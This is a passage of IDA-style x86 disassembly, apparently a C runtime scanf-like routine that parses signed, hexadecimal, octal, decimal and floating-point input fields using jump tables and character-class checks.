; sub_420920+7D5j ...
jmp short loc_421116
; ---------------------------------------------------------------------------
loc_421111: ; CODE XREF: sub_420920+7BEj
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_421116: ; CODE XREF: sub_420920:loc_42110Fj
jmp loc_421AB4
; ---------------------------------------------------------------------------
loc_42111B: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CC2o
mov [ebp+var_C], 64h
loc_421122: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CD2o
cmp [ebp+var_1D8], 2Dh
jnz short loc_421136
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_42113F
; ---------------------------------------------------------------------------
loc_421136: ; CODE XREF: sub_420920+809j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42117C
loc_42113F: ; CODE XREF: sub_420920+814j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_421161
cmp [ebp+var_1E8], 0
jz short loc_421161
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42117C
; ---------------------------------------------------------------------------
loc_421161: ; CODE XREF: sub_420920+82Cj
; sub_420920+835j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_42117C: ; CODE XREF: sub_420920+81Dj
; sub_420920+83Fj
cmp [ebp+var_1D8], 30h
jnz loc_42121E
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
movsx edx, byte ptr [ebp+var_1D8]
cmp edx, 78h
jz short loc_4211BC
movsx eax, byte ptr [ebp+var_1D8]
cmp eax, 58h
jnz short loc_4211E0
loc_4211BC: ; CODE XREF: sub_420920+88Ej
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_C], 78h
jmp short loc_42121E
; ---------------------------------------------------------------------------
loc_4211E0: ; CODE XREF: sub_420920+89Aj
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
cmp [ebp+var_C], 78h
jz short loc_4211F8
mov [ebp+var_C], 6Fh
jmp short loc_42121E
; ---------------------------------------------------------------------------
loc_4211F8: ; CODE XREF: sub_420920+8CDj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_421DC0
add esp, 8
mov [ebp+var_1D8], 30h
loc_42121E: ; CODE XREF: sub_420920+863j
; sub_420920+8BEj ...
jmp short loc_42127E
; ---------------------------------------------------------------------------
loc_421220: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CCAo
mov [ebp+var_38], 1
loc_421224: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CBAo
cmp [ebp+var_1D8], 2Dh
jnz short loc_421238
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_421241
; ---------------------------------------------------------------------------
loc_421238: ; CODE XREF: sub_420920+90Bj
cmp [ebp+var_1D8], 2Bh
jnz short loc_42127E
loc_421241: ; CODE XREF: sub_420920+916j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_421263
cmp [ebp+var_1E8], 0
jz short loc_421263
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42127E
; ---------------------------------------------------------------------------
loc_421263: ; CODE XREF: sub_420920+92Ej
; sub_420920+937j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_42127E: ; CODE XREF: sub_420920:loc_42121Ej
; sub_420920+91Fj ...
cmp [ebp+var_1DC], 0
jz loc_421479
loc_42128B: ; CODE XREF: sub_420920:loc_421454j
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_421459
cmp [ebp+var_C], 78h
jnz loc_421326
cmp dword_443B70, 1
jle short loc_4212C6
push 80h
mov ecx, [ebp+var_1D8]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_208], eax
jmp short loc_4212E3
; ---------------------------------------------------------------------------
loc_4212C6: ; CODE XREF: sub_420920+988j
mov edx, [ebp+var_1D8]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 80h
mov [ebp+var_208], ecx
loc_4212E3: ; CODE XREF: sub_420920+9A4j
cmp [ebp+var_208], 0
jz short loc_421319
mov ecx, 4
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_428CE0
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov edx, [ebp+var_1D8]
push edx
call sub_421D00
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_421321
; ---------------------------------------------------------------------------
loc_421319: ; CODE XREF: sub_420920+9CAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_421321: ; CODE XREF: sub_420920+9F7j
jmp loc_4213CD
; ---------------------------------------------------------------------------
loc_421326: ; CODE XREF: sub_420920+97Bj
cmp dword_443B70, 1
jle short loc_421348
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_20C], eax
jmp short loc_421362
; ---------------------------------------------------------------------------
loc_421348: ; CODE XREF: sub_420920+A0Dj
mov edx, [ebp+var_1D8]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_20C], ecx
loc_421362: ; CODE XREF: sub_420920+A26j
cmp [ebp+var_20C], 0
jz short loc_4213C5
cmp [ebp+var_C], 6Fh
jnz short loc_42139D
cmp [ebp+var_1D8], 38h
jge short loc_421392
mov ecx, 3
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_428CE0
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
jmp short loc_42139B
; ---------------------------------------------------------------------------
loc_421392: ; CODE XREF: sub_420920+A58j
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
loc_42139B: ; CODE XREF: sub_420920+A70j
jmp short loc_4213C3
; ---------------------------------------------------------------------------
loc_42139D: ; CODE XREF: sub_420920+A4Fj
mov ecx, 2
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_428CE0
add eax, [ebp+var_30]
adc edx, [ebp+var_2C]
mov ecx, 1
call sub_428CE0
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_4213C3: ; CODE XREF: sub_420920:loc_42139Bj
jmp short loc_4213CD
; ---------------------------------------------------------------------------
loc_4213C5: ; CODE XREF: sub_420920+A49j
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4213CD: ; CODE XREF: sub_420920:loc_421321j
; sub_420920:loc_4213C3j
movsx ecx, [ebp+var_18]
test ecx, ecx
jnz short loc_421438
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1D8]
sub eax, 30h
cdq
mov ecx, [ebp+var_30]
add ecx, eax
mov eax, [ebp+var_2C]
adc eax, edx
mov [ebp+var_30], ecx
mov [ebp+var_2C], eax
cmp [ebp+var_1E8], 0
jz short loc_42141B
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42141B
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_421436
; ---------------------------------------------------------------------------
loc_42141B: ; CODE XREF: sub_420920+ADFj
; sub_420920+AEEj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_421436: ; CODE XREF: sub_420920+AF9j
jmp short loc_421454
; ---------------------------------------------------------------------------
loc_421438: ; CODE XREF: sub_420920+AB3j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421DC0
add esp, 8
loc_421454: ; CODE XREF: sub_420920:loc_421436j
jmp loc_42128B
; ---------------------------------------------------------------------------
loc_421459: ; CODE XREF: sub_420920+971j
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_421474
mov eax, [ebp+var_30]
neg eax
mov ecx, [ebp+var_2C]
adc ecx, 0
neg ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], ecx
loc_421474: ; CODE XREF: sub_420920+B3Fj
jmp loc_42161D
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420920+965j
; sub_420920:loc_421608j
movsx edx, [ebp+var_18]
test edx, edx
jnz loc_42160D
cmp [ebp+var_C], 78h
jz short loc_421491
cmp [ebp+var_C], 70h
jnz short loc_421509
loc_421491: ; CODE XREF: sub_420920+B69j
cmp dword_443B70, 1
jle short loc_4214B6
push 80h
mov eax, [ebp+var_1D8]
push eax
call sub_41DA90
add esp, 8
mov [ebp+var_210], eax
jmp short loc_4214D3
; ---------------------------------------------------------------------------
loc_4214B6: ; CODE XREF: sub_420920+B78j
mov ecx, [ebp+var_1D8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp+var_210], eax
loc_4214D3: ; CODE XREF: sub_420920+B94j
cmp [ebp+var_210], 0
jz short loc_4214FC
mov ecx, [ebp+var_40]
shl ecx, 4
mov [ebp+var_40], ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421D00
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_421504
; ---------------------------------------------------------------------------
loc_4214FC: ; CODE XREF: sub_420920+BBAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_421504: ; CODE XREF: sub_420920+BDAj
jmp loc_42158B
; ---------------------------------------------------------------------------
loc_421509: ; CODE XREF: sub_420920+B6Fj
cmp dword_443B70, 1
jle short loc_42152B
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_214], eax
jmp short loc_421545
; ---------------------------------------------------------------------------
loc_42152B: ; CODE XREF: sub_420920+BF0j
mov edx, [ebp+var_1D8]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_214], ecx
loc_421545: ; CODE XREF: sub_420920+C09j
cmp [ebp+var_214], 0
jz short loc_421582
cmp [ebp+var_C], 6Fh
jnz short loc_421572
cmp [ebp+var_1D8], 38h
jge short loc_421568
mov edx, [ebp+var_40]
shl edx, 3
mov [ebp+var_40], edx
jmp short loc_421570
; ---------------------------------------------------------------------------
loc_421568: ; CODE XREF: sub_420920+C3Bj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_421570: ; CODE XREF: sub_420920+C46j
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421572: ; CODE XREF: sub_420920+C32j
mov ecx, [ebp+var_40]
mov edx, [ebp+var_40]
lea eax, [edx+ecx*4]
shl eax, 1
mov [ebp+var_40], eax
loc_421580: ; CODE XREF: sub_420920:loc_421570j
jmp short loc_42158B
; ---------------------------------------------------------------------------
loc_421582: ; CODE XREF: sub_420920+C2Cj
mov cl, [ebp+var_18]
add cl, 1
mov [ebp+var_18], cl
loc_42158B: ; CODE XREF: sub_420920:loc_421504j
; sub_420920:loc_421580j
movsx edx, [ebp+var_18]
test edx, edx
jnz short loc_4215EC
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+var_40]
lea eax, [edx+ecx-30h]
mov [ebp+var_40], eax
cmp [ebp+var_1E8], 0
jz short loc_4215CF
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_4215CF
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4215EA
; ---------------------------------------------------------------------------
loc_4215CF: ; CODE XREF: sub_420920+C93j
; sub_420920+CA2j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_4215EA: ; CODE XREF: sub_420920+CADj
jmp short loc_421608
; ---------------------------------------------------------------------------
loc_4215EC: ; CODE XREF: sub_420920+C71j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421DC0
add esp, 8
loc_421608: ; CODE XREF: sub_420920:loc_4215EAj
jmp loc_421479
; ---------------------------------------------------------------------------
loc_42160D: ; CODE XREF: sub_420920+B5Fj
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_42161D
mov eax, [ebp+var_40]
neg eax
mov [ebp+var_40], eax
loc_42161D: ; CODE XREF: sub_420920:loc_421474j
; sub_420920+CF3j
cmp [ebp+var_C], 46h
jnz short loc_42162A
mov [ebp+var_6C], 0
loc_42162A: ; CODE XREF: sub_420920+D01j
cmp [ebp+var_6C], 0
jz short loc_421678
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_421676
mov edx, [ebp+var_34]
add edx, 1
mov [ebp+var_34], edx
loc_421641: ; CODE XREF: sub_420920+D70j
cmp [ebp+var_1DC], 0
jz short loc_42165A
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov edx, [ebp+var_2C]
mov [eax+4], edx
jmp short loc_421676
; ---------------------------------------------------------------------------
loc_42165A: ; CODE XREF: sub_420920+D28j
movsx eax, [ebp+var_38]
test eax, eax
jz short loc_42166C
mov ecx, [ebp+var_3C]
mov edx, [ebp+var_40]
mov [ecx], edx
jmp short loc_421676
; ---------------------------------------------------------------------------
loc_42166C: ; CODE XREF: sub_420920+D40j
mov eax, [ebp+var_3C]
mov cx, word ptr [ebp+var_40]
mov [eax], cx
loc_421676: ; CODE XREF: sub_420920+D16j
; sub_420920+D38j ...
jmp short loc_42167D
; ---------------------------------------------------------------------------
loc_421678: ; CODE XREF: sub_420920+D0Ej
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_42167D: ; CODE XREF: sub_420920:loc_421676j
jmp loc_421AB4
; ---------------------------------------------------------------------------
loc_421682: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CC6o
mov edx, [ebp+var_20]
mov [ebp+var_40], edx
movsx eax, [ebp+var_70]
test eax, eax
jnz short loc_421692
jmp short loc_421641
; ---------------------------------------------------------------------------
loc_421692: ; CODE XREF: sub_420920+D6Ej
jmp loc_421AB4
; ---------------------------------------------------------------------------
loc_421697: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CBEo
lea ecx, [ebp+var_1D0]
mov [ebp+var_1E0], ecx
cmp [ebp+var_1D8], 2Dh
jnz short loc_4216C6
mov edx, [ebp+var_1E0]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
jmp short loc_4216CF
; ---------------------------------------------------------------------------
loc_4216C6: ; CODE XREF: sub_420920+D8Aj
cmp [ebp+var_1D8], 2Bh
jnz short loc_4216F3
loc_4216CF: ; CODE XREF: sub_420920+DA4j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_4216F3: ; CODE XREF: sub_420920+DADj
cmp [ebp+var_1E8], 0
jz short loc_421705
cmp [ebp+var_1C], 15Dh
jle short loc_42170C
loc_421705: ; CODE XREF: sub_420920+DDAj
mov [ebp+var_1C], 15Dh
loc_42170C: ; CODE XREF: sub_420920+DE3j
; sub_420920+E82j
cmp dword_443B70, 1
jle short loc_42172E
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_218], eax
jmp short loc_421748
; ---------------------------------------------------------------------------
loc_42172E: ; CODE XREF: sub_420920+DF3j
mov edx, [ebp+var_1D8]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_218], ecx
loc_421748: ; CODE XREF: sub_420920+E0Cj
cmp [ebp+var_218], 0
jz short loc_4217A7
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_4217A7
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_42170C
; ---------------------------------------------------------------------------
loc_4217A7: ; CODE XREF: sub_420920+E2Fj
; sub_420920+E3Fj
movsx ecx, byte_443B74
movsx edx, byte ptr [ebp+var_1D8]
cmp ecx, edx
jnz loc_4218A4
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_4218A4
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1E0]
mov dl, byte_443B74
mov [ecx], dl
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
loc_421809: ; CODE XREF: sub_420920+F7Fj
cmp dword_443B70, 1
jle short loc_42182B
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_21C], eax
jmp short loc_421845
; ---------------------------------------------------------------------------
loc_42182B: ; CODE XREF: sub_420920+EF0j
mov edx, [ebp+var_1D8]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_21C], ecx
loc_421845: ; CODE XREF: sub_420920+F09j
cmp [ebp+var_21C], 0
jz short loc_4218A4
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_4218A4
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_421809
; ---------------------------------------------------------------------------
loc_4218A4: ; CODE XREF: sub_420920+E97j
; sub_420920+EABj ...
cmp [ebp+var_6C], 0
jz loc_421A09
cmp [ebp+var_1D8], 65h
jz short loc_4218C4
cmp [ebp+var_1D8], 45h
jnz loc_421A09
loc_4218C4: ; CODE XREF: sub_420920+F95j
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
test ecx, ecx
jz loc_421A09
mov eax, [ebp+var_1E0]
mov byte ptr [eax], 65h
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2Dh
jnz short loc_42192E
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
jmp short loc_421937
; ---------------------------------------------------------------------------
loc_42192E: ; CODE XREF: sub_420920+FF2j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42196D
loc_421937: ; CODE XREF: sub_420920+100Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jnz short loc_421952
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
jmp short loc_42196D
; ---------------------------------------------------------------------------
loc_421952: ; CODE XREF: sub_420920+1025j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_42196D: ; CODE XREF: sub_420920+1015j
; sub_420920+1030j ...
cmp dword_443B70, 1
jle short loc_42198F
push 4
mov edx, [ebp+var_1D8]
push edx
call sub_41DA90
add esp, 8
mov [ebp+var_220], eax
jmp short loc_4219AA
; ---------------------------------------------------------------------------
loc_42198F: ; CODE XREF: sub_420920+1054j
mov eax, [ebp+var_1D8]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_220], edx
loc_4219AA: ; CODE XREF: sub_420920+106Dj
cmp [ebp+var_220], 0
jz short loc_421A09
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz short loc_421A09
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1E0]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_42196D
; ---------------------------------------------------------------------------
loc_421A09: ; CODE XREF: sub_420920+F88j
; sub_420920+F9Ej ...
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421DC0
add esp, 8
cmp [ebp+var_6C], 0
jz short loc_421A63
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_421A61
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 0
lea edx, [ebp+var_1D0]
push edx
mov eax, [ebp+var_3C]
push eax
movsx ecx, [ebp+var_38]
sub ecx, 1
push ecx
call off_444250
add esp, 0Ch
loc_421A61: ; CODE XREF: sub_420920+1111j
jmp short loc_421A68
; ---------------------------------------------------------------------------
loc_421A63: ; CODE XREF: sub_420920+1109j
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_421A68: ; CODE XREF: sub_420920:loc_421A61j
jmp short loc_421AB4
; ---------------------------------------------------------------------------
loc_421A6A: ; CODE XREF: sub_420920+3B0j
; sub_420920+3C4j
; DATA XREF: ...
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
cmp eax, [ebp+var_1D8]
jz short loc_421A9A
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_421DC0
add esp, 8
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_421A9A: ; CODE XREF: sub_420920+1157j
mov cl, [ebp+var_28]
sub cl, 1
mov [ebp+var_28], cl
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_421AB4
mov eax, [ebp+var_1D4]
mov [ebp+arg_8], eax
loc_421AB4: ; CODE XREF: sub_420920:loc_421116j
; sub_420920:loc_42167Dj ...
mov cl, [ebp+var_28]
add cl, 1
mov [ebp+var_28], cl
jmp short loc_421AE0
; ---------------------------------------------------------------------------
loc_421ABF: ; CODE XREF: sub_420920+38Bj
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421DC0
add esp, 8
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_421AE0: ; CODE XREF: sub_420920+119Dj
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
jmp loc_421BE1
; ---------------------------------------------------------------------------
loc_421AEE: ; CODE XREF: sub_420920+11Dj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_421B46
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421DC0
add esp, 8
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_421B46: ; CODE XREF: sub_420920+1203j
mov eax, [ebp+var_1D8]
and eax, 0FFh
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_421BE1
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1F4], eax
mov ecx, [ebp+var_1F4]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_421BD8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1F4]
push edx
call sub_421DC0
add esp, 8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421DC0
add esp, 8
jmp short loc_421C0A
; ---------------------------------------------------------------------------
loc_421BD8: ; CODE XREF: sub_420920+127Cj
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
loc_421BE1: ; CODE XREF: sub_420920+11C9j
; sub_420920+1245j
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_421C05
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz short loc_421C03
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
cmp ecx, 6Eh
jz short loc_421C05
loc_421C03: ; CODE XREF: sub_420920+12D4j
jmp short loc_421C0A
; ---------------------------------------------------------------------------
loc_421C05: ; CODE XREF: sub_420920+12C8j
; sub_420920+12E1j
jmp loc_420997
; ---------------------------------------------------------------------------
loc_421C0A: ; CODE XREF: sub_420920+80j
; sub_420920+635j ...
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_421C3E
cmp [ebp+var_34], 0
jnz short loc_421C2D
movsx edx, [ebp+var_28]
test edx, edx
jnz short loc_421C2D
mov [ebp+var_224], 0FFFFFFFFh
jmp short loc_421C36
; ---------------------------------------------------------------------------
loc_421C2D: ; CODE XREF: sub_420920+12F7j
; sub_420920+12FFj
mov eax, [ebp+var_34]
mov [ebp+var_224], eax
loc_421C36: ; CODE XREF: sub_420920+130Bj
mov eax, [ebp+var_224]
jmp short loc_421C41
; ---------------------------------------------------------------------------
loc_421C3E: ; CODE XREF: sub_420920+12F1j
mov eax, [ebp+var_34]
loc_421C41: ; CODE XREF: sub_420920+131Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420920 endp
; ---------------------------------------------------------------------------
off_421C48 dd offset loc_420BDA ; DATA XREF: sub_420920+239r
dd offset loc_420B60
dd offset loc_420B78
dd offset loc_420BBC
dd offset loc_420B65
dd offset loc_420BC7
dd offset loc_420BCF
dd offset loc_420BE5
byte_421C68 db 0 ; DATA XREF: sub_420920+233r
db 3 dup(7)
dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h)
dd 7040707h, 7050707h, 2 dup(7070707h)
db 7, 6
off_421CB6 dd offset loc_420CEB ; DATA XREF: sub_420920+3C4r
dd offset loc_421224
dd offset loc_421697
dd offset loc_42111B
dd offset loc_421682
dd offset loc_421220
dd offset loc_420D31
dd offset loc_421122
dd offset loc_420D56
dd offset loc_421A6A
byte_421CDE db 0 ; DATA XREF: sub_420920+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D00 proc near ; CODE XREF: sub_420920+9E9p
; sub_420920+BCCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp dword_443B70, 1
jle short loc_421D22
push 4
mov eax, [ebp+arg_0]
push eax
call sub_41DA90
add esp, 8
mov [ebp+var_4], eax
jmp short loc_421D37
; ---------------------------------------------------------------------------
loc_421D22: ; CODE XREF: sub_421D00+Dj
mov ecx, [ebp+arg_0]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_421D37: ; CODE XREF: sub_421D00+20j
cmp [ebp+var_4], 0
jz short loc_421D45
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
